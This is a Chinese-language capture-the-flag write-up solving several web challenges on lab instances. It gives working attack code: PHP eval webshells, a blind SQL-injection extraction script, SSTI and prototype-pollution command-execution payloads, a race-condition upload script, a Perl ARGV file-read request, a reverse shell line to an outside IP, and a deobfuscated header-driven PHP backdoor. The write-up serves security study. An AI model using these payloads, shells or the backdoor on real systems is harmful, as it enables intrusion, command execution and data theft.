1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') { include 'config.php'; $id = mysql_real_escape_string($_GET[id]); $sql="select * from cetc007.user where id='$id'"; $result = mysql_query($sql); $result = mysql_fetch_object($result); } else { $result = False; die(); } if(!$result)die("<br >something wae wrong ! <br>"); if($result){ echo "id: ".$result->id."</br>"; echo "name:".$result->user."</br>"; $_SESSION['admin'] = True; } ?>
这段回去session id进行确认id=1并且化为浮点数后到着截取最后一位是9
floatval会把数转换为浮点数,但是不会转换字母
加上是!==r弱类型,1a9就能绕过,你的session就是admin的了
然后进行文件写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if ($_SESSION['admin']) { $con = $_POST['con']; $file = $_POST['file']; $filename = "backup/".$file; if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ die("Bad file extension"); }else{ chdir('uploaded'); $f = fopen($filename, 'w'); fwrite($f, $con); fclose($f); } } ?>
传入两个数据一个是文件名一个是文件内容,并且写进去,上传半天发现uploaded/backup没有我写的内容
后面发现是apache服务器
apache2.x的解析漏洞 1.php.xxx会被当作php来解析,那么我当时上传的时候,并没有能够成功, 我们换另一种上传方式 其中 .. 代表当前目录的父目录 , .代表当前目录,所以这里的c.php/b.php/..也就是访问b.php的父目录,也就是 c.php
上传
1 con=<?php eval($_POST['a']);?>&&file=2.php/.
unfinish 扫目录发现register.php存在注册页面,尝试注册发现存在二次注入
fuzz测试’没被过滤,空格
这里简单写一下二次注入的原理
与其他编程语言不同,MySQL中,+(加号)只有一个功能:运算符。
如果加号运算中有字符,那么mysql就会把字符转变为数字在相加,比如select ‘1’+‘1a’;结果为2,转换过程跟php类似。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mysql> select '1'+'1a'; +----------+ | '1'+'1a' | +----------+ | 2 | +----------+ 1 row in set, 1 warning (0.00 sec) mysql> select '0'+database(); +----------------+ | '0'+database() | +----------------+ | 0 | +----------------+ 1 row in set (0.00 sec)
可以用截取的方法,截取处每一位,然后ascii编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mysql> select '0'+ascii(substr(database(),1,1)); +-----------------------------------+ | '0'+ascii(substr(database(),1,1)) | +-----------------------------------+ | 100 | +-----------------------------------+ 1 row in set (0.00 sec) mysql> select '0'+ascii(substr(database(),2,1)); +-----------------------------------+ | '0'+ascii(substr(database(),2,1)) | +-----------------------------------+ | 118 | +-----------------------------------+ 1 row in set (0.00 sec)
成功截取,但是逗号被过滤,该咋办。使用from...for...
代替。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mysql> select '0'+ascii(substr(database() from 1 for 1)); +--------------------------------------------+ | '0'+ascii(substr(database() from 1 for 1)) | +--------------------------------------------+ | 100 | +--------------------------------------------+ 1 row in set (0.00 sec) mysql> select '0'+ascii(substr((database()) from 2 for 1)); +----------------------------------------------+ | '0'+ascii(substr((database()) from 2 for 1)) | +----------------------------------------------+ | 118 | +----------------------------------------------+ 1 row in set (0.00 sec)
还有可以使用十六进制转换后运算 有疑问,为啥不用二进制或者八进制。用例子来说明:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 mysql> select bin('dvwa'); +-------------+ | bin('dvwa') | +-------------+ | 0 | +-------------+ 1 row in set (0.00 sec) mysql> select oct('dvwa'); +-------------+ | oct('dvwa') | +-------------+ | 0 | +-------------+ 1 row in set (0.00 sec) mysql> select hex('dvwa'); +-------------+ | hex('dvwa') | +-------------+ | 64767761 | +-------------+ 1 row in set (0.00 sec)
可以看到,只有十六进制成功转换。 但是又出来一个问题,如果十六进制转换后的字符串有字母的话,转化为数字就会相加就会丢失字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 mysql> select hex('dvwa{}'); +---------------+ | hex('dvwa{}') | +---------------+ | 647677617B7D | +---------------+ 1 row in set (0.00 sec) mysql> select hex('dvwa{}')+'0'; +-------------------+ | hex('dvwa{}')+'0' | +-------------------+ | 647677617 | +-------------------+ 1 row in set (0.00 sec) 所以需要在进行一次十六进制。 mysql> select hex(hex('flag{}')); +--------------------------+ | hex(hex('flag{}')) | +--------------------------+ | 363636433631363737423744 | +--------------------------+ 1 row in set (0.00 sec) mysql> select hex(hex('flag{}'))+'0'; +------------------------+ | hex(hex('flag{}'))+'0' | +------------------------+ | 3.636364336313637e23 | +------------------------+ 1 row in set (0.00 sec)
又但是当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度。
这里还可以使用分段读法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 mysql> select substr(hex(hex('dvwa{}')) from 1 for 10)+'0'; +----------------------------------------------+ | substr(hex(hex('dvwa{}')) from 1 for 10)+'0' | +----------------------------------------------+ | 3634373637 | +----------------------------------------------+ 1 row in set (0.00 sec) mysql> select substr(hex(hex('dvwa{}')) from 11 for 10)+'0'; +-----------------------------------------------+ | substr(hex(hex('dvwa{}')) from 11 for 10)+'0' | +-----------------------------------------------+ | 3736313742 | +-----------------------------------------------+ 1 row in set (0.00 sec) mysql> select substr(hex(hex('dvwa{}')) from 21 for 10)+'0'; +-----------------------------------------------+ | substr(hex(hex('dvwa{}')) from 21 for 10)+'0' | +-----------------------------------------------+ | 3744 | +-----------------------------------------------+ 1 row in set (0.00 sec) mysql> select unhex(unhex(363437363737363137423744)); +----------------------------------------+ | unhex(unhex(363437363737363137423744)) | +----------------------------------------+ | dvwa{} | +----------------------------------------+ 1 row in set (0.11 sec)
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import re import requests url="http://61.147.171.105:52027/" registerurl=url+"register.php" loginurl=url+"login.php" for i in range(1, 100): register_data = { 'email': '111@123.com%d'%i, 'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0"%i, 'password': 'admin' } request=requests.post(url=registerurl,data=register_data) login_data = { 'email': '111@123.com%d' %i, 'password': 'admin' } res = requests.post(url=loginurl, data=login_data) code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res.text) print(chr(int(code.group(1))), end='')
easy_web 开局是一个字符转换器
python+Werkzeug猜测是ssti
发现被过滤,测试一下
发现过滤了空格 ‘ “ ,{}
想着他能转换字体,去找一些特殊字符看看他会不会被解析为{}
http://www.fhdq.net/bd/44.html
对应一下
{ -> ︷
} -> ︸
‘ -> '
“ -> ”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 """ { -> ︷/﹛ } -> ︸/﹜ ' -> ' " ->" """ # 原字符串 str='{{"".__class__.__base__.__subclasses__()}}' str = str.replace('{', '︷') str = str.replace('}', '︸') str = str.replace('\'', ''') str=str.replace('\"',""") print(str)
payload
1 2 {{"".__class__.__base__.__subclasses__()}} ︷︷"".__class__.__base__.__subclasses__()︸︸
跑一下os模块
1 2 3 4 5 6 7 8 9 import re string ="" ClassList = re.split(",", string) for i in range(0, len(ClassList)): print(i, ClassList[i]) if 'os._wrap_close' in ClassList[i]: print(i) break
os模块在127
最终payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 """ { -> ︷/﹛ } -> ︸/﹜ ' -> ' " ->" """ # 原字符串 # str='{{"".__class__.__base__.__subclasses__()[127].__init__.__globals__[\'popen\'](\'ls\').read()}}' str='{{"".__class__.__base__.__subclasses__()[127].__init__.__globals__[\'popen\'](\'cat /flag\').read()}}' str = str.replace('{', '︷') str = str.replace('}', '︸') str = str.replace('\'', ''') str=str.replace('\"',""") print(str)
题目名称-SSRF Me
1 2 3 4 5 6 7 8 9 10 11 12 <?php $captcha=0; while(1) { if(substr(md5($captcha), -6, 6) == "081e90") { echo $captcha; break; } $captcha++; }
flag被过滤url编码绕过file:///%66%6c%61%67
babyweb
还是国赛题,提示内网访问,开局
有点小懵,扫目录没收获,想到内网ssrf?
果真ssrf.php
???
真国赛题?
file:///flag直接了。。。
wzsc_文件上传 上传了一个php文件直接跳转了upload.php,尝试访问1.php,发现notfound
上传了一个图片,发现能访问,
早该想到是竞争上传的burp
一个访问一个上传
1 <?php fputs(fopen("1.php", "w"), '<?php @eval($_POST["a"]); ?>'); ?>
也有脚本,burp上传,脚本检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import requests import threading import os class RaceCondition(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.url = 'http://61.147.171.105:55458/upload/a.php' self.uploadUrl = 'http://61.147.171.105:55458/upload/shell.php' def _get(self): print('try to call uploaded file...') r = requests.get(self.url) if r.status_code == 200: print('[*] create file shell.php success.') os._exit(0) def _upload(self): print('upload file...') rs = requests.get(self.uploadUrl) if rs.status_code == 200: print('[*] create file shell.php success.') os._exit(0) def run(self): while True: for i in range(5): self._get() for i in range(10): self._upload() self._get() if __name__ == '__main__': threads = 50 for i in range(threads): t = RaceCondition() t.start() for i in range(threads): t.join()
题目名称-warmup 给了源码审计审计
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php include 'conn.php'; include 'flag.php'; if (isset ($_COOKIE['last_login_info'])) { $last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info'])); try { if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) { die('WAF info: your ip status has been changed, you are dangrous.'); } } catch(Exception $e) { die('Error'); } } else { $cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ; setcookie ('last_login_info', $cookie, time () + (86400 * 30)); } if(isset($_POST['username']) && isset($_POST['password'])){ $table = 'users'; $username = addslashes($_POST['username']); $password = addslashes($_POST['password']); $sql = new SQL(); $sql->connect(); $sql->table = $table; $sql->username = $username; $sql->password = $password; $sql->check_login(); } ?>
看到会对ip进行检测,cookie里存有跟ip有关的信息
conn.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php include 'flag.php'; class SQL { public $table = ''; public $username = ''; public $password = ''; public $conn; public function __construct() { } public function connect() { $this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx"); } public function check_login(){ $result = $this->query(); if ($result === false) { die("database error, please check your input"); } $row = $result->fetch_assoc(); if($row === NULL){ die("username or password incorrect!"); }else if($row['username'] === 'admin'){ $flag = file_get_contents('flag.php'); echo "welcome, admin! this is your flag -> ".$flag; }else{ echo "welcome! but you are not admin"; } $result->free(); } public function query() { $this->waf(); return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'"); } public function waf(){ $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"]; foreach ($blacklist as $value) { if(strripos($this->table, $value)){ die('bad hacker,go out!'); } } foreach ($blacklist as $value) { if(strripos($this->username, $value)){ die('bad hacker,go out!'); } } foreach ($blacklist as $value) { if(strripos($this->password, $value)){ die('bad hacker,go out!'); } } } public function __wakeup(){ if (!isset ($this->conn)) { $this->connect (); } if($this->table){ $this->waf(); } $this->check_login(); $this->conn->close(); } } ?>
一堆黑名单,
ip.php
1 2 <?php echo $_SERVER['REMOTE_ADDR'];
先看看cookie里的内容
json反序列化
table数据没有被过滤,我们在table上做功夫
1 select 'admin' username,'123456' password
select 值1 字段1,值2,字段2
可以生成表
1 2 3 4 public function query() { $this->waf(); return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'"); }
查询的时候会对table数据进行处理,想当于查询我们自己生成个表
字段一是admin字段二是密码123456加个a是表名
秒啊实在是秒
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php class SQL { public $table = "(select 'admin' username,'123456' password)a"; public $username = "admin"; public $password = "123456"; public $conn; public function __construct() { } public function connect() { $this->conn = new mysqli("localhost", "admin", "123456", ""); } public function check_login(){ $result = $this->query(); if ($result === false) { die("database error, please check your input"); } $row = $result->fetch_assoc(); if($row === NULL){ die("username or password incorrect!"); }else if($row['username'] === 'admin'){ $flag = file_get_contents('flag.php'); echo "welcome, admin! this is your flag -> ".$flag; }else{ echo "welcome! but you are not admin"; } $result->free(); } public function query() { $this->waf(); return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'"); } public function waf(){ $blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"]; foreach ($blacklist as $value) { if(strripos($this->table, $value)){ die('bad hacker,go out!'); } } foreach ($blacklist as $value) { if(strripos($this->username, $value)){ die('bad hacker,go out!'); } } foreach ($blacklist as $value) { if(strripos($this->password, $value)){ die('bad hacker,go out!'); } } } public function __wakeup(){ if (!isset ($this->conn)) { $this->connect (); } if($this->table){ $this->waf(); } $this->check_login(); $this->conn->close(); } } $a=new SQL(); echo serialize($a); echo base64_encode(serialize($a));
BadProgrammer
发现是nginx+express
发现源码放在static文件夹下
扫目录可以发现
访问static../可以看到文件列表
app.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 const express = require('express'); const fileUpload = require('express-fileupload'); const app = express(); app.use(fileUpload({ parseNested: true })); app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); }); app.get('/', (req, res) => { res.render('index.ejs'); }) app.listen(3000); app.on('listening', function() { console.log('Express server started on port %s at %s', server.address().port, server.address().address); });
查看package.json文件,发现引用express-fileupload版本为1.1.7-alpha.4,此版本存在CVE-2020-7699,原型链污染漏洞。(这。。。。反正我是想不到)
看到4_pATh_y0u_CaNN07_Gu3ss会渲染flag.ejs在view文件夹下发现flag.ejs
1 2 3 4 5 6 7 8 <html> <head> <title>flag?</title> </head> <body> No No No, flag is in `flag.txt`. </body> </html>
访问4_pATh_y0u_CaNN07_Gu3ss路由竟然
不应该啊,我试试POST
奥post可以
前面看到漏洞点跟express-fileupload,文件上传https://www.freebuf.com/vuls/246029.html
自己构建一下文件上传包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1 Host: 61.147.171.105:50068 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 286 Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/flag1111.txt');x -----------------------------1546646991721295948201928333--
也可以脚本
1 2 3 4 5 6 7 import requests url="http://61.147.171.105:50068/4_pATh_y0u_CaNN07_Gu3ss" data={'__proto__.outputFunctionName': ( None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='cp /flag.txt /app/static/flag.txt'))} 想用一下文章里的f反弹shell,可惜失败了# data={'__proto__.outputFunctionName': ( None, "x;process.mainModule.require('child_process').exec('{cmd}');x".format(cmd='bash -c "bash -i &> /dev/tcp/101.34.80.152/9999 0>&1"'))} req=requests.post(url=url,files=data) print(req)
俩个都行
i-got-id-200 好好啊好新知识点,好好学,爱死了
知识点:perl文件上传+ARGV造成的任意文件读取和命令执行
开题三个链接都可以点开,第三个可以文件上传
三个网站都是以pl结尾的
啥个文件我都不知道
后面了解到是perl文件,用perl语言写网页
文件上传不管上传啥,他会把文件内容输出出来
奈何我是笨脑袋上来就上传一句话木马
不会做了,去看了wp
什么大佬猜测代码
1 2 3 4 5 6 7 8 use strict; use warnings; use CGI; my $cgi= CGI->new; if ( $cgi->upload( 'file' ) ) { my $file= $cgi->param( 'file' ); while ( <$file> ) { print "$_"; } }
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。
上传文件时抓包,数据包需要添加
记得把—————————–1569827749218换成自己的
1 2 3 4 5 -----------------------------1569827749218 Content-Disposition: form-data; name="file"; Content-Type: image/jpeg ARGV
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 POST /cgi-bin/file.pl?/bin/bash%20-c%20cat${IFS}/flag| HTTP/1.1 Host: 61.147.171.105:64755 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------16463330982239580313450100907 Content-Length: 496 Origin: http://61.147.171.105:64755 Connection: close Referer: http://61.147.171.105:64755/cgi-bin/file.pl Cookie: last_login_info=TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDM6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnMTIzNDU2JyBwYXNzd29yZCkiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6NjoiMTIzNDU2IjtzOjQ6ImNvbm4iO047fQ== Upgrade-Insecure-Requests: 1 -----------------------------16463330982239580313450100907 Content-Disposition: form-data; name="file"; Content-Type: application/actet-stream ARGV -----------------------------16463330982239580313450100907 Content-Disposition: form-data; name="file"; filename="1.jpg" Content-Type: image/jpeg aaaaa -----------------------------16463330982239580313450100907 Content-Disposition: form-data; name="Submit!" Submit! -----------------------------16463330982239580313450100907--
wtf.sh-150 开题
看到有登录和注册,先试试登录,尝试admin+弱密码,发现无果
注册了一个登录
看这样子好像一个论坛,好多人在上面发文章,点开文章看看
看了几篇文章,发现也就变换了一下POST后的数据,尝试目录穿越看看,发现
存在目录穿越,搜索一下flag
发现源码
1 source user_functions.sh <html> <head> <link rel="stylesheet" type="text/css" href="/css/std.css" > </head> $ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}" $ then $ local username=$(head -n 1 users/${URL_PARAMS['user']}); $ echo "<h3>${username}'s posts:</h3>"; $ echo "<ol>"; $ get_users_posts "${username}" | while read -r post; do $ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}"); $ echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>"; $ done $ echo "</ol>"; $ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]] $ then $ get_flag1 $ fi $ fi </html>
显示cookie和username=admin
就好得到``flag1`
cookie里有个token先看看,以为是base64解密发现不是
继续浏览文件,发现一些可疑的文件
经过访问尝试发现../users存在类似于cookie的内容,那我去找找admin的喽
1 Posted by [admin](http://61.147.171.105:57484/profile.wtf?user=jlvfK) ae475a820a6b5ade1d2e8b427b59d53d15f1f715 uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==
直接该cookie好像不行
这里需要先看看admin账户的类似于id吧
就是user=jlvfK
具体流程
点进去,再点admin
对应的即是admin的页面,cookie改了,username改了
得到flag1
接下来我就不咋会了,借鉴了大佬的wp完成的
因为 wtf 不是常规的网页文件,故寻找解析 wtf 文件的代码:
访问wtf.sh得到linux脚本代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 function include_page { # include_page pathname local pathname=$1 local cmd= [[ ${pathname(-4)} = '.wtf' ]]; local can_execute=$; page_include_depth=$(($page_include_depth+1)) if [[ $page_include_depth -lt $max_page_include_depth ]] then local line; while read -r line; do # check if we're in a script line or not ($ at the beginning implies script line) # also, our extension needs to be .wtf [[ $ = ${line01} && ${can_execute} = 0 ]]; is_script=$; # execute the line. if [[ $is_script = 0 ]] then cmd+=$'n'${line#$}; else if [[ -n $cmd ]] then eval $cmd log Error during execution of ${cmd}; cmd= fi echo $line fi done ${pathname} else echo pMax include depth exceeded!p fi }
进行审计后可发现,上传wtf文件并执行,就可以控制服务器。
继续进行审计,发现reply函数也存在路径穿越漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function reply { local post_id=$1; local username=$2; local text=$3; local hashed=$(hash_username "${username}"); curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1); next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}"); next_file=(posts/${post_id}/${next_reply_id}); echo "${username}" > "${next_file}"; echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}"; echo "${text}" >> "${next_file}"; # add post this is in reply to to posts cache echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts"; }
这是评论功能的后台代码,下面这行代码把用户名写在了评论文件的内容中
1 echo "${username}" > "${next_file}";
如果用户名是一段可执行代码,而且写入的文件后缀是wtf,那么这个文件就能够执行我们想要的代码。 (wtf.sh只运行文件扩展名为.wtf的脚本和前缀为’$’的行)
先普通地评论一下,知晓评论发送的数据包的结构
在普通评论的基础上,进行路径穿越,上传后门11.wtf!
%09是水平制表符,必须添加,不然后台会把我们的后门当做目录去解析。
访问后门,发现成功写入用户名
为了写入恶意代码,我们得让用户名里携带代码,故
首先注册这样一个用户
1 ${find,/,-iname,get_flag2}
这里前面加个$是wtf文件执行命令的写法
寻找 所有目录下 不分大小写,名为 get_flag2 的文件
登录,写入后门
发现flag2在/usr/bin/get_flag2
继续注册新用户
得到flag2
拼起来xctf{cb49256d1ab48803149e5ec49d3c29ca}
Web_php_wrong_nginx_config 扫目录发现admin/admin.php和robots.txt
访问
hint.php
配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf
Hack.php需要登录才能看
admin/admin.php需要登录在cookie里有一个isLogin改为1就可以了
进来之后发现url好似存在文件读取尝试
1 url/admin/admin.php?file=index&ext=php#
尝试了点了点,发现只有管理中心可以进入
进去好像也米啥用
回到上一步
是这个样子,但过程中发现云工控控制中心会提示please continue,对应url是admin/index.php,登录成功后的页面也存在,加上首页的url,怀疑存在文件包含尝试一下
/admin/admin.php?file=../../../../etc/passwd&ext=php#发现少了please continue,但是没有返回想要的内容
/admin/admin.php?file=../index&ext=php#存在please continue
/admin/admin.php?file=./index&ext=php#仍然存在
/admin/admin.php?file=in../dex&ext=php#仍然存在
/admin/admin.php?file=in./dex&ext=php#消失
所以应该是过滤了../但没过滤./
拼接一下试试
发现读取成功
根局前面的提示
配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf
读取一下看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 server { listen 8080; ## listen for ipv4; this line is default and implied listen [::]:8080; ## listen for ipv6 root /var/www/html; index index.php index.html index.htm; port_in_redirect off; server_name _; # Make site accessible from http://localhost/ #server_name localhost; # If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1; set $month $2; set $day $3; } # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off; set $http_x_forwarded_for_filt $http_x_forwarded_for; if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) { set $http_x_forwarded_for_filt $1???; } # Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log; error_log /var/log/nginx/error.log info; location / { # First attempt to serve request as file, then # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args; server_tokens off; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } location ~ \.php$ { try_files $uri $uri/ /index.php?q=$uri&$args; fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_index index.php; include fastcgi_params; fastcgi_param REMOTE_ADDR $http_x_forwarded_for; } location ~ /\. { log_not_found off; deny all; } location /web-img { alias /images/; autoindex on; } location ~* \.(ini|docx|pcapng|doc)$ { deny all; } include /var/www/nginx[.]conf;
看着
1 2 3 4 location /web-img { alias /images/; autoindex on; }
autoindex on发现开启了目录浏览好啊
alias的意思是别名,让用户可以输入web-img,实际上访问images目录
我们访问/web-img../就可以访问到网站的根目录。
下载hack.php.bak
得到一段混淆脚本
输出$f看到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 $kh="42f7";$kf="e9ac";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}<script> (function() { var ws = new WebSocket('ws://' + window.location.host + '/jb-server-page?reloadMode=RELOAD_ON_SAVE&'+ 'referrer=' + encodeURIComponent(window.location.pathname)); ws.onmessage = function (msg) { if (msg.data === 'reload') { window.location.reload(); } if (msg.data.startsWith('update-css ')) { var messageId = msg.data.substring(11); var links = document.getElementsByTagName('link'); for (var i = 0; i < links.length; i++) { var link = links[i]; if (link.rel !== 'stylesheet') continue; var clonedLink = link.cloneNode(true); var newHref = link.href.replace(/(&|\?)jbUpdateLinksId=\d+/, "$1jbUpdateLinksId=" + messageId); if (newHref !== link.href) { clonedLink.href = newHref; } else { var indexOfQuest = newHref.indexOf('?'); if (indexOfQuest >= 0) { // to support ?foo#hash clonedLink.href = newHref.substring(0, indexOfQuest + 1) + 'jbUpdateLinksId=' + messageId + '&' + newHref.substring(indexOfQuest + 1); } else { clonedLink.href += '?' + 'jbUpdateLinksId=' + messageId; } } link.replaceWith(clonedLink); } } }; })();
这一步是吧诸多变量拼接后吧)m换为空
发现还有一层混淆
x($t,$k)
函数是个循环异或函数,结合 base64
函数、gzcompress()
等函数看可能有 HTTP 请求和响应过程中的编码和加密。Payload 是从仅有的输入 $_SERVER["HTTP_ACCEPT_LANGUAGE"]
和 $_SERVER["HTTP_REFERER"]
中来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php $kh="4f7f"; $kf="28d7"; // 循环异或加密解密,密钥 $k function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } $r=$_SERVER; $rr=@$r["HTTP_REFERER"]; $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; if($rr&&$ra){ // 将 referer 的 query string 的 各个 value 取出到 $q $u=parse_url($rr); // parse referer, return array, keys: scheme,host,port,user,pass,path,query,fragment parse_str($u["query"],$q); // parse query string into $q (array). $q=array_values($q); // array values // 分析 Accept-Language,提取 每种语言的首字母和权重数字。 // Searches $ra for all matches to the regular expression given and puts them in $m preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); if($q&&$m){ @session_start(); $s=&$_SESSION; $ss="substr"; 